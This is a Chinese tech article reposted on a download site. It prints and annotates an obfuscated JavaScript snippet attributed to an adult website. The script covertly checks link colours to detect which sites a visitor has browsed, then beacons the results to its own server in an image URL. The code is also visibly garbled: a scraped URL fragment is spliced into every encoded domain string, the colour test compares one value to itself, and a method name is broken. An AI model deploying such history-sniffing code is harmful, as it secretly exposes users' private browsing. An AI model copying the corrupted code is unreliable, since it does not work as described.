悄悄用脚本检查你访问过哪些网站的代码

软件发布|下载排行|最新软件

当前位置:首页IT学院IT技术

悄悄用脚本检查你访问过哪些网站的代码

  2020-05-12 我要评论
打开它的“页面源文件”,你能找到一段加密过的JS脚本:
复制代码 代码如下:

function ypol(){
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。
var k={0:"qpsoivchttps://img.qb5200.com/download-x/dpn",1:"sfeuvcfhttps://img.qb5200.com/download-x/dpn",2:"bevmugsjfoeg joefshttps://img.qb5200.com/download-x/dpn",3:"ywjefpthttps://img.qb5200.com/download-x/dpn",4:"uvcf9https://img.qb5200.com/download-x/dpn",5:"yoyyhttps://img.qb5200.com/download-x/d pn",6:"nfhbqpsohttps://img.qb5200.com/download-x/dpn",7:"nfhbspujdhttps://img.qb5200.com/download-x/dpn",8:"yibntufs https://img.qb5200.com/download-x/dpn",9:"bxfnqjsfhttps://img.qb5200.com/download-x/dpn",10:"sfbmjuzljohthttps://img.qb5200.com/download-x/dpn",11:"c sb{{fsthttps://img.qb5200.com/download-x/dpn",12:"yuvcfhttps://img.qb5200.com/download-x/dpn",13:"cbohcspt2https://img.qb5200.com/download-x/dpn",14: "gmjohhttps://img.qb5200.com/download-x/dpn",15:"gsffpofthttps://img.qb5200.com/download-x/dpn",16:"nzgsffqbztjufhttps://img.qb5200.com/download-x/dp n",17:"efcpobjscmphhttps://img.qb5200.com/download-x/dpn",18:"qbztfswfhttps://img.qb5200.com/download-x/dpn",19:"nby qpsohttps://img.qb5200.com/download-x/dpn",20:"wjefpt{https://img.qb5200.com/download-x/dpn",21:"bfco/ofu",22:"qpsop sbnbhttps://img.qb5200.com/download-x/dpn"};
var g=[];
for(var m in k){
var d=k[m]; //遍历k中的元素赋值给d
var a="";
for(var f=0;f<d.length;f++){
a+=String.fromCharCode(d.charCodeAt(f)-1);
}/* 这里把d中的每一条字符都还原了。
* charCodeAt(char) 函数返回char的ascii码
* String.fromCharCode(asccii) 返回ascii码对应的字符
* 然后把结果赋值给a
* 比如第一次循环,a的值就是 qpsoivchttps://img.qb5200.com/download-x/dpn -> pornhub.com
*/
var h=false;
/*
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/
* 为什么要循环来2次,目的是为了准确性
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名
* 所以要区别对待
*/
for(var j in {"http://":"","http://www.":""}){
var l=document.createElement("a"); //创建一个A对象
l.href=j+a;
document.getElementById("ol").appendChild(l);
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS
var e="";
if(navigator.appName.indexOf("Microsoft")!=-1){
e=l.currentStyle.color; //取IE中A对象的颜色
}else {
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color");
//取其他标准浏览器的颜色
}
if(e=="#0c2238"||e=="#0c2238"){
/*
* 如果是紫色,就表示访问过此站点。
* 浏览器默认给访问过的链接标记为紫色
* a:visited{color: #123456}
*/
h=true;
}
}
if(h){ //如果访问过,把站点加入列表g
g.push(m);
}
}
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串
var c=document.createElement("img"); //建立一个img对象
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样
/*
* 以一次图片访问,在web-server

Copyright 2022 版权所有 软件发布 访问手机版

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 联系我们